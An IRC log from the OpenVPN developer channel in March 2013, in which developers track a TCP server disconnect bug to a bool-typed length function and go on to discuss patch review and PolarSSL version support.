kisom> Just to see that I didn't screw anything up in my tests 07:31 <@plaisthos> can you try the following: checkout master (git checkout master) and then revert the patch (git revert 4029971240b6274b9b30e76ff74c7f689d7d9750) and try if that is working or broken? 07:31 <@plaisthos> kisom: or that :) 07:33 < kisom> 34091048af1ba94e8bf2049354610d16f8bb3d4c works like a charm 07:37 <@plaisthos> kisom: can you try if reverting the commit in question makes it working again? (What I suggest the line before) 07:37 < kisom> Yes, one sec 07:38 < kisom> I'll just clone the latest source and run git revert on it, right? 07:40 <@plaisthos> yeah 07:40 <@plaisthos> or git checkout master 07:40 < kisom> All done. It compiled and works without the bug. 07:40 <@plaisthos> great 07:40 <@plaisthos> thanks for looking into that 07:40 <@plaisthos> that will be fun to find ... :( 07:40 < kisom> Np. I'll add it to the ticket :) 07:41 <@dazo> so commit 4029971240b6274b9b30e76ff74c7f689d7d9750 breaks things? 07:42 < kisom> Yes. 07:42 <@plaisthos> It is probably since if a variable is a bool everything != 0 is true 07:42 <@plaisthos> and for the emulated bool only 1 is true 07:43 <@dazo> yupp ... agreed .... and Alon talked me from doing a complete review of the code in regards to the usage of bool flags .... 07:43 <@plaisthos> for bool t=2; (t == true) was false before the commit and after the commit it is true 07:45 <@dazo> anyhow ... bool t=2 is an abuse of bool, though 07:46 <@plaisthos> dazo: probably 07:46 <@plaisthos> but we must have something like this in the source code :/ 07:47 <@dazo> (but I think we fixed a few of those already) 07:47 <@dazo> yeah, probably some places we didn't catch 07:49 <@plaisthos> I will ask SO if there is a compiler flag or something to catch such problematic stuff 07:50 < kisom> So, should it be safe to revert that commit and continue using the softaware until it's fixed upstream? 07:50 <@plaisthos> maybe comparing intermediate output of the compiler 07:50 <@plaisthos> kisom: yes 07:50 <@dazo> kisom: definitely! 07:51 <@cron2> plaisthos: oh shit, this is the "bool" patch? 07:51 <@dazo> yeah 07:52 * cron2 is so not-surprised (and thanks kisom for digging into this) 07:52 <@dazo> kisom needs to be credited for this one in the commit log :) 07:52 <@cron2> but I'm still convinced that this was the right thing to do, just not thorough enough 07:52 <@dazo> agreed! 07:52 <@plaisthos> cron2: agreed 07:53 <@dazo> Unfortunately .... using #define bool int ... or even typedef int bool ... both are prone to be abused 07:53 <@cron2> true 07:53 <@cron2> so what are we going to do next? full review of socket.c / *.c / *.c+*.h for bool abuse? 07:53 <@dazo> I think the better way to catch this would: typedef enum { false = 0, true = 1 } bool .... 07:55 <@dazo> if anything breaks the usage ... like bool t=2 ... it should fail to compile .... and I think t != 0 should work 07:55 * cron2 urges dazo to try :) 07:55 * dazo is already writing a PoC test :) 07:56 <@cron2> just compile openvpn with that setting - and if the compiler pukes about something, look closer... 07:56 * cron2 is at a customer's site right now and won't have time until tonight 07:56 <@plaisthos> PoC? 07:56 <@cron2> proof of concept 07:59 <@dazo> ugh .... t = 2 was allowed with enum .... :/ 08:00 <@plaisthos> yeah 08:00 <@plaisthos> and openvpn compiles fine with bool begin an enum 08:00 <@plaisthos> hm 08:00 <@plaisthos> does openvpn compile as c++ project?! 08:01 <@plaisthos> then you could create an evil bool class that does only allow 1 or 0 08:01 <@plaisthos> and override all || == etc. operators 08:02 <@cron2> plaisthos: no idea, but I'm afraid it will explode... 08:03 <@plaisthos> cron2: :) 08:04 <@dazo> if the binary explodes, that's one thing ... but if we can use this to flush out all the abuses of bool ... this could work to fix those places (only once, though) 08:05 <@cron2> no, I'm more afraid the compiler will explode... there's too much stuff done in clever C ways which a more strict compiler might not like 08:10 <@plaisthos> cron2: yeah the c++ compiler is much more strict when it comes to casting 08:10 <@plaisthos> just tried 08:10 <@plaisthos> I will write on Stackoverflow 08:11 <@plaisthos> perhaps someone will come up with a cool solution 08:13 <@dazo> it should be some compiler flags stopping this :/ 08:14 <@cron2> -pedantic? 08:14 <@dazo> (but haven't found one yet) 08:14 <@dazo> nope ... even with -pedantic it works 08:15 <@dazo> http://www.fpaste.org/Ar9C/ ... that's my little test program 08:15 <@dazo> The output I get is: 08:15 <@dazo> t != 0 08:15 <@dazo> t == 2 08:15 <@dazo> if (t) 08:24 <@plaisthos> http://stackoverflow.com/questions/15339151/catch-incorrect-usage-of-c-bool 08:24 <@vpnHelper> Title: c99 - Catch incorrect usage of c bool - Stack Overflow (at stackoverflow.com) 08:24 <@plaisthos> at least others find the question interesting. I got 9 up votes in short time ... 08:28 -!- mattock_afk is now known as mattock 08:30 <@dazo> unfortunately the current responses where either clueless (didn't read your last sentence) or didn't test compile his suggestion :) 08:31 <@plaisthos> dazo: yeah. 08:31 < kisom> Can't you just revert that commit, or would that be The Incorrect Way (tm)? :) 08:32 <@dazo> It would just hide a real problem we do have ... and Gentoo complains about not using stdbool.h 08:32 * dazo rather votes for fixing the real issue ... but that requires flushing out the bool abuse 08:33 <@cron2> kisom: it would not be The Correct Way :-) but yeah, this bit us before 08:34 <@cron2> plaisthos: they really don't read what you wrote... 08:34 <@plaisthos> cron2: yeah :/ 08:34 < kisom> OK, better to get it fixed once for all then :) I just built a new package and deployed to halv our servers. No disconnects seen so far. 08:35 < kisom> s/halv/half 08:35 <@cron2> and the suggestion "change if (t==true) to if(t)" is not helpful either, as this would actually not change anything with stdbool... 08:35 <@dazo> kisom: reverting it in your own environment to avoid a real issue, that's a good workaround though :) 08:36 <@cron2> (I thought of this briefly, and came to the conclusion that this would, at best, just continue hiding the abuse) 08:36 <@dazo> cron2++ 08:39 <@cron2> ugh, my eyes bleed 08:39 <@cron2> return socket_set_flags (ls->sd, ls->sockflags = sockflags); 08:39 <@cron2> (but that's actually not "wrong", just "ugly") 08:42 <@cron2> plaisthos: is "read from tun, write to socket fd" in socket.c? or where? 08:42 <@cron2> my gut feeling is that there's a write() error not properly handled here, and the error flag stored as an abused bool 08:43 <@mattock> new windows installers (I005) passed smoketests 08:43 <@mattock> -> release 08:45 <@cron2> whoa 08:45 * cron2 hates socket.c/socket.h 08:46 <@cron2> half the code is in socket.c, the other half is in socket.h - inline functions only called from a single caller, and not *that* interesting anyways, like "link_socket_write_tcp_posix()" 08:48 <@cron2> kisom: do you see this error message on the server side in your tests? 08:48 <@cron2> TCP/UDP packet was truncated/expanded on write to (number) 08:51 < kisom> cron2: I don't remember. I'll compile and check, give me a minute. 08:51 <@cron2> this would be the error at "a tcp write is incomplete" (and thus the receiver might get out of sync) 08:52 <@cron2> OTOH there is nothing in the vicinity of that code that has any boolish look 08:54 < kisom> cron2: I can post a log somewhere from the server side. What verbosity do you want? 08:54 <@cron2> kisom: posting not needed, just confirmation of this message is seen (if not, I'm searching in the wrong place) 08:54 <@cron2> dunno, maybe --verb 5, to be sure 08:54 <@cron2> but I think it's an error and should be logged even with --verb 1 09:03 < kisom> cron2: http://www.pastebin.ca/2330994 09:03 < kisom> I was unable to use higher verbosity than 3. Probably because the time it takes to write the logs are enough to send the buffer to the client. 09:03 <@plaisthos> wargh 09:04 <@plaisthos> bool a=true; bool b=true; if( a + b > 1) printf ("foo"); 09:04 < kisom> I coult try it over a slower connection if needed ;) 09:04 <@plaisthos> will print foo 09:04 <@cron2> kisom: ic. but the message is not there, so "something else" is failing 09:04 <@cron2> plaisthos: well, it's permitted to add boolean expressions - they are well-defined to be "1" if true 09:04 <@cron2> a+b is ((int)a)+((int)b)... 09:06 <@plaisthos> cron2: yeah still confusing :) 09:06 <@mattock> installer I005 out 09:08 < kisom> I'm going out for now, fyi. Cya later. 09:08 <@mattock> closed #247 09:12 <@cron2> plaisthos: you might actually find this by means of "knowing socket.c" - I'm nearly sure it's something related to socket buffers, socket flags, or so, being done/not done depending on the bool-thing... 09:12 <@cron2> it does not seem to be in the "write()" path, though 09:12 <@cron2> (there are no bools) 09:12 <@plaisthos> cron2: I suspect this being in forward* 09:13 <@plaisthos> but I could be wrong 09:13 <@cron2> might be as well, further up the call chain than I checked so far (I'm up to process_outgoing_link()) 09:14 <@plaisthos> But I mostly only know the socket setup/teardown/resolving stuff 09:14 <@plaisthos> I have barely looked into the actual usage of the socket 09:18 <@cron2> uh 09:18 * cron2 is confused, the call chain I have identified is only used in p2p mode 09:18 <@cron2> process_io()->...->link_socket_write() 09:19 <@cron2> argh 09:19 <@cron2> ARGH 09:19 <@cron2> HATE 09:19 <@cron2> there's "multi_process_outgoing_link_dowork()" in multi.h which calls process_outgoing_link() 09:21 <@cron2> called from mtcp.c 09:21 <@plaisthos> :) 09:30 -!- Netsplit *.net <-> *.split quits: +pekster 09:30 * cron2 has *no* idea where "whatever happens" happens 09:31 -!- Netsplit over, joins: pekster 09:31 -!- mode/#openvpn-devel [+v pekster] by ChanServ 09:31 <@cron2> mtcp.c is not for the faint of heart either 09:31 * plaisthos knows 09:40 <@plaisthos> I will try to make openvpn to compile in C++ mode and see if I can make a checkbool class 09:40 <@plaisthos> but that is probably not easy as well 09:50 <@cron2> quite likely this C++ compilation will uncover HEAPS of work... 09:50 <@plaisthos> cron2: :D 09:50 <@cron2> but mit might be a good thing nevertheless :-) 09:50 <@plaisthos> I looked at it for 5 min dan fixed 3 void* casts ;) 09:51 <@cron2> lol 09:51 <@cron2> I had considered to stay at home this week's Wednesday for some serious OpenVPN work... seems I'll need to really do that, then 09:52 <@plaisthos> and found out that xor is a reserved keyword in C++ 09:53 <@plaisthos> and the function xor is unused %) 09:57 <@cron2> lol 09:57 <@cron2> yet another cleanup 10:12 <@plaisthos> int real, virtual; 10:12 <@plaisthos> options->real_hash_size = real; 10:12 <@plaisthos> options->virtual_hash_size = real; 10:12 <@plaisthos> this does not look right either 10:15 <@plaisthos> plugin.c:178:1: note: candidate function not viable: cannot convert argument of incomplete type 'void *' to 'void **' 10:15 <@plaisthos> that error does not look good either ;) 10:15 <@plaisthos> but could be C++ being too icky 10:22 <@plaisthos> const struct session_id x_session_id_zero; 10:23 <@plaisthos> session_id.c:51:25: error: default initialization of an object of const type 'const struct session_id' requires a user-provided default 10:23 <@plaisthos> constructor 10:23 <@plaisthos> wah?! 10:27 <@dazo> const struct (two words) ... not constructor 10:29 <@plaisthos> dazo: yeah 10:32 <@plaisthos> that seems to be one of the corner cases of C and C++ comptability 11:16 <@plaisthos> cron2: expect cleanup patches soon [tm] 11:50 <@cron2> plaisthos: my head starts hurting... 11:59 <@plaisthos> cron2: why? Are you looking through all the bool references? 12:40 <@cron2> no, because I know who will have to review all those cleanup patches for "unintended side effects" :) 13:42 -!- raidz is now known as raidz_away 13:43 -!- raidz_away is now known as raidz 13:47 * cron2 just re-discovered commit 098d3b3f40a64812d74523926bb4dae43d8baf3d 13:47 <@cron2> ... which was a similar nastiness... 13:48 <@cron2> but much easier to track down 14:14 <@cron2> ok. server log of "master" and "master without the bool change" for a single TCP client and --verb 5 is fully identical... there goes the hope for an easy catch (like "setsockopt" or such) 14:23 <@plaisthos> that is really strange 14:24 <@plaisthos> found quick looking a the obvious bool usages there is nothing as well 14:24 <@cron2> strace also is not overly enlightening 14:24 <@cron2> lots of differences, of course, but nothing that jumps at me 14:30 <@plaisthos> I am also not sure how to debug this 14:31 * cron2 tries to reproduce ("connect, flood ping") 14:37 <+pekster> 'ping -s 1400 -l 99999999 10.8.0.2' ? :) 14:38 <@cron2> ping -f -s 1400 10.200.1.10 14:38 <@cron2> but that doesn't trigger anything 14:38 <@cron2> ADSL line in between... 14:39 <@plaisthos> cron2: did you use his configs? 14:39 <+pekster> -f won't go as fast as using preload 14:39 <@cron2> yeah, let me try preload 14:39 <@cron2> yay 14:39 <@cron2> Mon Mar 11 20:39:31 2013 Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #14575 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings 14:39 <@cron2> ping -l 99999999 -s 1400 10.200.1.10 14:40 <@cron2> did it 14:40 <+pekster> Yea, preload is fun for all sorts of network abuse testing 14:40 <@cron2> now that looks like something interesting for more closer investigation... 14:40 <@cron2> Mon Mar 11 20:39:34 2013 us=26595 cron2-gentoo-i386/::ffff:193.149.48.170 MBUF: 14:40 <@cron2> mbuf packet dropped 14:41 <@cron2> now let's see what the "no-stdbool" server does... 14:43 <@cron2> mmmh. it well-behaves itself 14:43 < kisom> I already investigated everything related to mbuf in mtcp.c, found nothing :) 14:43 < kisom> But yeah, might have missed something 14:43 <@cron2> indeed 14:43 <@cron2> the well-behaving server logs 14:43 <@cron2> Mon Mar 11 20:43:17 2013 us=468460 cron2-gentoo-i386/::ffff:193.149.48.170 MULTI: packet dropped due to output saturation (multi_process_incoming_tun) 14:44 <@cron2> so these two strings are in the code paths where the "bool" thingie makes a difference 14:48 <@cron2> now that was easy 14:48 <@cron2> static inline bool 14:48 <@cron2> oh 14:48 <@cron2> mmh 14:48 <@cron2> no, didn't look right 14:57 <@cron2> ok, something fishy is happening with mbuf_len() inside multi_output_queue_ready() - in the broken setup, it's always "1", while the working setup it counts up to 65, and then drops packets due to "output saturation" 14:58 <@cron2> ach fuck 14:58 <@cron2> static inline bool 14:58 <@cron2> mbuf_len (const struct mbuf_set *ms) 14:58 <@cron2> { return ms->len; 14:58 <@cron2> } 14:58 * cron2 is annoyed and goes watch TV 15:00 <@cron2> kisom: could you verify this, please? mbuf.h, find "mbuf_len" and change the "bool" here into an "int"? (It should have never been a "bool" when it returns a *length*) 15:01 <@cron2> http://fpaste.org/XaQM/ 15:01 <@dazo> oh dear ... that surely looks like a correct fix to me 15:01 <@cron2> for me, it a) fixes the issue, and b) fully explains why the "bool" change causes this 15:01 <@dazo> +1 15:02 <@cron2> yeah, I've instrumented multi_output_queue_ready() to print the mbuf_len() (I *love* msg() :) ), and with the stdbool change, all it ever prints is "mbuf_len=0" or "mbuf_len=1"... while with old-bool, it counts up to mbuf_len=65... 15:09 <@plaisthos> I will send my clean up patches I wrote for C++ compatbility to the ML ... 15:11 <@plaisthos> should be very easy to remove 15:14 <@cron2> anyway, patch sent to the ML, watch TV now. *satisfied*, bug chased and killed 15:14 <@cron2> (someone brave might want to go throught the other .h files and look for more bool abuse...) 15:28 <@plaisthos> cron2: *thumbsup* 15:47 -!- dazo is now known as dazo_afk 15:56 < kisom> cron2: Now I get lots of "IP packet with unknown IP version=15 seen" instead 15:56 < kisom> And the client disconnects after the specified keepalive value. 15:58 < kisom> cron2: Never mind the above, forgot I changed the client config. Yes, it's working! 16:02 <@plaisthos> kisom: Thanks for all testing from you and for nagging 16:10 < kisom> plaisthos: Np, thanks for the awesome software to begin with 16:22 <+pekster> Without which, there would be nothing to debug :P 16:27 <@cron2> patch sent to the list, so when it shows up there, I'd welcome an ACK on the list :-) 16:33 <@cron2> uh, there's another one that does not look good 16:34 <@cron2> ah, no, that one is ok... 16:35 <@plaisthos> cron2: I ACKed your change 16:35 <@plaisthos> I mean the change is correct even if it does not fix anything :D 16:37 <@cron2> thanks 16:37 <@cron2> too tired now to operate git without mistakes, will push tomorrow 16:38 <@plaisthos> :) 18:31 <@ecrist> s/tired/drunk/ ? 19:48 -!- raidz is now known as raidz_away --- Day changed Tue Mar 12 2013 03:03 <@cron2> no, tired :-) - small children, lots of work, plus "spend 3 hours finding a single bool abuse in OpenVPN source"... 04:29 <@cron2> .oO(do I want to upgrade my N7 to 4.2.2?) 04:38 < Syzzer> I upgraded mine, still works like a charm 04:38 < Syzzer> Any reason not to upgrade? 04:39 <@cron2> supposedly some people had issues with 4.2.1, and since I'm not the android guru, I thought I'd ask... 04:39 <@cron2> it's refusing the upgrade anyway as the battery is fully discharged :) 04:58 <@plaisthos> 4.2.2 is only a minor update should be fine 04:58 <@plaisthos> my n7 is running 4.2.2 for a few weeks now 04:58 <@cron2> ok, good to hear that 04:59 <@cron2> (my n7 was switched off a few weeks now :) so I just noticed that there is a 4.2.2...) 04:59 <@plaisthos> :) 04:59 <@plaisthos> 4.2.2 finally adds security to android debugging 05:00 <@plaisthos> so you no longer need to turn off/on debugging every time you want to use it or else you have gaping security problem 05:07 <@cron2> oh, cool 05:07 <@cron2> anyway... just sent a new version of the patch with "unsigned int"... not that it makes any difference, but technically Steffen is right... so if you could ACK it once again, when it shows up...? 05:08 <@cron2> kisom: if you could ACK it too, that would be great 05:08 < kisom> On the ML? 05:09 <@cron2> yes, please, as that's "the formal process" - all patches go to the devel list and get ACKed by someone who is not the patch author (so we can't sneak in backdoors and stuff) 05:10 < kisom> OK, I will, after I build a new Arch packet using the patch and tried it out on the system where I discovered the bug in the first place. 05:13 < Syzzer> cron2: yea, I realised the int / unsigned int won't make any real difference 05:13 < Syzzer> just really like it when things are 'right' ;) 05:14 <@cron2> which is why I didn't argue but just sent a v2 patch 05:15 <@cron2> kisom: thanks 05:16 <@cron2> kisom: that's the final test anyway "patch is not just formally and obviously correct, but also solves the problem" 05:26 <@plaisthos> about the size_t vs int. Clang complains about some mismatches in openvpn 05:26 <@plaisthos> like int foo = send(...) 05:49 <@cron2> indeed, *that* would be a size_t... 05:49 * cron2 wonders whether C++ would have actually caught yesterday's error... 05:49 <@cron2> after all it's "just an int-to-bool conversion", which is normally legal 05:51 < Syzzer> it would have been easier to create your own bool type where you invalidate values other then 0 or 1 to be used with an assignment 05:51 < Syzzer> not sure how C++ act by default 06:08 <@vpnHelper> RSS Update - testtrac: Remove unused function no_tap_ifconfig <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=dc63e06b2c366f74752c8baa61b0f173d62511ad> || Move static prototype definition from header into c file <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=46d402f6513a6745daeaf08e9b260258e912f184> || Remove unused function xor <http:// 06:08 < kisom> cron2: Patch works fine, ACK'd. 06:11 <@cron2> kisom: cool, thanks 06:12 <@cron2> Syzzer: weell... technically that is permitted in C "everything that is not 0 is 'true' on assignment" 06:13 <@cron2> (and we actually did not find a way to create such a type - dazo tried with an enum yesterday, and that didn't work) 06:13 <@cron2> a C++ class that throws an exception on assignment != 0 or 1 might work 06:21 <@plaisthos> cron2: no it does not 06:22 <@plaisthos> and creating a c++ bool class that does type checking does not work 06:22 <@plaisthos> since it breaks bool foo() function that have somthing like return bar != 2 06:23 <@plaisthos> since that would require defining an implicit bool -> check_bool conversion 06:27 <@cron2> meh, so we're back to "manual review" or "go bug chasing if another one of these shows up" --- Log closed Tue Mar 12 06:35:29 2013 --- Log opened Tue Mar 12 06:58:34 2013 06:58 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:58 -!- Irssi: #openvpn-devel: Total of 20 nicks [8 ops, 0 halfops, 2 voices, 10 normal] 06:58 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:58 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:15 -!- dazo_afk is now known as dazo 07:37 <@cron2> dazo: have you seen my mail regarding "lazy ACK"? 07:37 <@dazo> cron2: nope, not yet 07:46 <@vpnHelper> RSS Update - testtrac: Repair "tcp server queue overflow" brokenness, more fallout. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0eb398501fab9c016b9b6008682c43873c4a6188> 07:47 * cron2 pokes dazo to be more active 07:51 * cron2 looks for andj "can we do 2.3.1 this week?" 07:52 <@ecrist> since when did network manager stop sucking? 07:52 <@cron2> quite a while, actually. dazo has been beating them enough 07:52 <@mattock> network-manager sucks much less nowadays 07:52 <@ecrist> Until today, I've never seen any feedback about it other than it sucks 07:52 <@cron2> it still sucks, but all GUIs suck if you're used to the powa of text config files ;-) - but it gets the job done 08:02 <@cron2> jftr, please ignore the buildbot failure on freebsd74 - it collided with some leftovers of yesterday's test, so it complained about "ifconfig/route after test looks different than before" - which is right, it cleaned up yesterday's mess... 08:56 <@ecrist> muahaha 08:56 <@ecrist> don't kill me, cron2 08:59 <@cron2> ho hum, today is the day of interesting discoveries... $colleague just installed the OpenVPN AS client on his windows laptop, imported my .ovpn profile, and is using it happily with a community 2.3.x server... 08:59 * cron2 raises eyebrows 09:02 <@ecrist> nice 09:07 <@dazo> cron2: I'll see if I can catch up a bit today or tomorrow ... completing two releases the last week have given me quite a backlog to go through on may fronts :) 09:09 <@cron2> plaisthos: if you have 5 minutes, I would appreciate an ACK on 20130120185030.GR22465@greenie.muc.de (January 20!) 09:12 <@dazo> cron2: have you been running that ipv6 netbits patch for some time? 09:12 <@cron2> dazo: it's in my tree, but not excercised, as I'm not using that particular configuration 09:14 <@dazo> cron2: okay ... if you had been testing it for some time, I would not have issues with a lazy ACK on that one ... but if I'll get a openwrt (tp-link) version with this patch ... I can run it in a setup with that particular config 09:14 <@dazo> I'm "depending" on that VPN almost every day and will quickly catch issues, if any 09:15 <@cron2> people have run --server-ipv6 with non-/64 netmasks and that works well (and is in 2.3.0 already). --server-ipv6 will set the same values that --ifconfig-ipv6-pool sets, so the "backend machinery" knows how to deal with /65../112 pool sizes 09:15 <@cron2> it's just that this particular config option got overlooked when extending from "only /64" to "/64../112 is permitted" 09:17 <@dazo> ahh, okay ... so it works when using --server-ipv6 ... but not --ifconfig-ipv6-pool, due to this faulty netbits check? 09:17 <@cron2> yes 09:17 <@dazo> okay ... lazy ack :) 09:17 <@cron2> lol :) 09:17 <@dazo> (which means, no Acked-by: lines ) 09:17 <@cron2> ack :) 09:22 <@cron2> oh 09:23 * cron2 thanks kisom for buggering us with the TCP queue stuff... 09:23 <@cron2> I just noticed that $customer's VPN is also plagued by that... 09:23 <@cron2> messages-20130116.bz2:Jan 15 11:16:33 feuereimer2 openvpn[5385]: client-sk/95.88.36.41:49410 MBUF: mbuf packet dropped 09:23 <@cron2> (runs over TCP, and sometimes the users come over mobile networks and fire up $large applications...) 09:24 <@cron2> some of them had been complaining about session drops, but since they always complain about their stuff not working right, I wasn't taking this overly serious... 09:25 < Syzzer> cron2: regarding 2.3.1, I guess polar 1.2 support should be part of that? 09:27 < Syzzer> earlier on there was consensus on leaving pre-1.2 support available for the 2.3 branch, but since only 1.2.5+ are patches against the recent Lucky 13 attack, I suggest supporting only 1.2.5+ 09:29 <@dazo> Syzzer: you're aware that Lucky 13 doesn't affect OpenVPN at all? 09:30 <@plaisthos> cron2: can you give a subject of the mail (or tell me how to get thunderbird to search by message id)? 09:31 <@cron2> Subject: [PATCH] Permit pool size of /64.../112 for ifconfig-ipv6-pool 09:31 <@cron2> Syzzer: I would be happy if I had a Polar 1.2 patch for 2.3.x to commit... 09:32 <@cron2> (one that will fulfill James' criteria of "no user visible changes", aka "the cipher names must not change") 09:33 <@cron2> I personally do not care for polarssl 1.1, so if "upstream" wants to deprecate usage of polar 1.1 completely (because will not be fixed for lucky 13), I'm fine with dropping support for 1.1 completely in 2.3.1 - and now my argument has a somewhat stronger basis than "less #ifdef" 09:33 < Syzzer> hehe, yes 09:33 <@dazo> Syzzer: http://article.gmane.org/gmane.network.openvpn.user/33862 09:33 <@vpnHelper> Title: Gmane -- Re: New TLS MiM attack Lucky 13 (at article.gmane.org) 09:35 < Syzzer> dazo: thanks, yes I'm aware. Just wanted to consult you guys about supporting pre 1.2 09:36 <@cron2> IIRC dazo and d12fk wanted to support 1.1, I wanted to drop it. Or something like that :-) 09:38 < Syzzer> I didn't have a strong opinion, but since 1.1 is now 'broken' (although not for OpenVPN), I prefer to not support it any longer 09:40 < Syzzer> it does make the patches a lot cleaner 09:42 <@dazo> agreed ... however, an announcement I got from polarssl a few days ago stated that 1.1.6 should have a fix for it ... but 1.2.6 will contain an even better fix than 1.2.5 09:42 <@cron2> dazo: do you know anyone who is shipping 1.1 and has no 1.2 available? 09:42 * cron2 has no idea which distros ship polarssl, and in which versions 09:43 <@cron2> all my buildslaves will have to be updated, but I'm fine with that :) 09:45 <@dazo> cron2: Fedora and Debian pops up instantly 09:45 <@dazo> however, Fedora will be easier to move forward ... Debian is more rigid 09:45 <@cron2> they have no 1.2? 09:46 <@dazo> http://packages.qa.debian.org/p/polarssl.html 09:46 <@vpnHelper> Title: Debian Package Tracking System - polarssl (at packages.qa.debian.org) 09:46 <@dazo> (checking Fedora now) 09:47 < Syzzer> debian stable is still at 0.14... 09:47 <@cron2> uh. do we care? 09:47 < Syzzer> ah, 0.12, sorry 09:48 <@dazo> https://admin.fedoraproject.org/updates/search/polarssl ... but I see that there are builds for polarssl 1.2 in the pipe, but believe they're concerned about moving it too fast forward due to API changes ... http://koji.fedoraproject.org/koji/packageinfo?packageID=11561 09:48 <@vpnHelper> Title: polarssl | Package Info | koji (at koji.fedoraproject.org) 09:49 <@dazo> (the former url is what has been pushed out from the build system as an "errata" ... the latter one is the build system) 09:50 <@dazo> PolarSSL's API changes makes is hard for distros to ship it 10:17 -!- raidz_away is now known as raidz 10:39 <@cron2> let's just do 1.2, then. Fedora can ship it if they feel the need, Debian isn't even shipping 1.1, and whoever wants to build their own binary can always compile their own polarssl - it's not that hard 10:40 <@cron2> embedded distros will adapt - if applications need 1.2, openwrt will ship 1.2, I'm fairly sure of that :-) 10:40 <@cron2> (and they will be happy to have a small and lean openvpn-with-polar which is compatible with the openssl-based servers people are running...) 10:47 < Syzzer> okay, if nobody objects it will be 1.2 only then. I'll probably send patches tomorrow. 10:47 * dazo suddenly connected who Syzzer is :) 10:48 <@dazo> okay, I personally don't have that strong opinions about polarssl (yet, due to it being a quite "young" package) .... so lets do only 1.2 support then 10:50 <@cron2> syzzer: +1, then we just need to get James' attention for an ACK... (he seems to be awfully busy, haven't heard anything since 3 weeks now...) 10:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 10:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:57 < Syzzer> cron2: cool, would be great to fix this soonish 10:58 <@cron2> my words :-) - there's quite some goodness in soon-to-be-2.3.1 10:58 <@cron2> among others the bugfix for the tcp-transport issue kisom found 10:59 <@plaisthos> yeah 10:59 <@plaisthos> and the tls-remote fix 10:59 <@cron2> indeed 11:00 <@plaisthos> at the moment 2.3 and master are still identical, right? 11:00 <@cron2> eys 11:00 <@cron2> yes 11:01 * plaisthos will call his version then 2.3.1+dspatch 11:06 <@plaisthos> git diff origin/master origin/release/2.3 tells me the same 11:50 <@dazo> andj: you around? 12:20 <@cron2> afk... 14:04 -!- dazo is now known as dazo_afk 14:07 <@andj> dazo: here 14:18 <@plaisthos> 2 14:18 <@plaisthos> ~. 14:18 <@plaisthos> ~. 16:23 <+pekster> Any chance this could get a look over prior to 2.3.1? It would be nice not to break --verb 4 on more official relases: 16:23 <+pekster> http://sourceforge.net/mailarchive/forum.php?thread_name=437RBuq1U8032S07.1361465626%40web07.cms.usa.net&forum_name=openvpn-devel 16:23 <@vpnHelper> Title: SourceForge.net: OpenVPN: openvpn-devel (at sourceforge.net) 16:24 <+pekster> This *does* also impact all the Linux/Unix builds up on repos.openvpn.net . 2.3.0 on a test Ubuntu 12.04 VM is broken the same way 16:25 <+pekster> If folks would prefer, I'm happy to submit a "mitigating patch" to fix the build script to set enable_debug=yes like 2.2.x did, but that's not really the right way to fix it 16:27 <@cron2> keep poking us until someone reviews and ACKs this 16:27 * cron2 has been a bit busy with other stuff, but I can see your point 16:28 <@cron2> (not that I would ever build anything without debug, so maybe we need to poke mattock a bit as well) 16:28 <+pekster> The problem is the buildbots just follow the default settings, which changed in 2.3.x to remove debug. This problem has presumably been hiding it wait for a while 16:29 <@cron2> no idea why that was changed, must have been the build system change 16:29 <@cron2> Alon doesn't believe in debugging, it seems 16:29 <+pekster> Yes, but the issue is in the source, not the build system 16:30 <@cron2> I'm not going to look at it right now (need to go to bed), but we need to look at it, agreed. 16:30 <+pekster> Sure 16:30 <+pekster> Not trying to force you to stay, just saying this is less a debug issue and more of a "doing what we says it should" issue :P 16:31 <+pekster> Not really sure "end users" need debug anywa :) 16:31 <+pekster> Night 19:16 -!- novaflash is now known as novaflash_away 19:39 -!- raidz is now known as raidz_away --- Day changed Wed Mar 13 2013 02:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 03:01 -!- novaflash_away is now known as novaflash 03:14 <@cron2> mornin' folks 05:04 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Read error: Operation timed out] 05:05 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 05:17 <@plaisthos> cron2: morning 05:32 -!- dazo_afk is now known as dazo 06:08 <@plaisthos> pekster: I wrote a comment on your patch 09:52 <@ecrist> dazo: have you thought of bringing gopenvpn "into the fold" here, like the windows gui? 09:55 <@dazo> ecrist: yeah, nothing stopping it from that .... not sure if you had any more concrete ideas 10:12 <@vpnHelper> RSS Update - tickets: #266: cannot install TAP driver on windows 7 <https://community.openvpn.net/openvpn/ticket/266> 10:16 <@cron2> dazo: can NM-openvpn do IPv6 today? 10:16 <@dazo> cron2: nope 10:17 <@cron2> someone working on that? I seem to remember that you got yourself involved in beating "the responsible parties"...? 10:17 <@dazo> yeah, but I got side-tracked .... as always :/ 10:17 <@dazo> what's not itching me, often falls quickly on the todo list :) 10:18 -!- raidz_away is now known as raidz 10:19 * cron2 makes a note to poke dazo often enough to be considered an itch :-) 10:19 <@dazo> hehehe 10:19 <@dazo> nah, that's just solved by an /ignore :-P 10:20 * cron2 has secret powers to gain dazo's attention "don't make me do it!" :-) 10:20 <@dazo> hehehe 10:22 <@plaisthos> I think there was someone asking about the dual stack stuff 10:23 <@plaisthos> that would make the gui much easier for them (as in don't about udp vs tcp vs udp6 vs tcp6) 10:50 <@ecrist> dazo: nothing concrete, I don't use linux, but it might be nice if we had a unified experience with gopenvpn and the windows gui 11:12 <@dazo> ecrist: agreed! ... The user experience now is fairly similar when the config files are dumped into /etc/openvpn ... you right click the icon, select the VPN connection and it connects (asks for username/passwords as needed) 11:13 <@dazo> and same way to disconnect 12:15 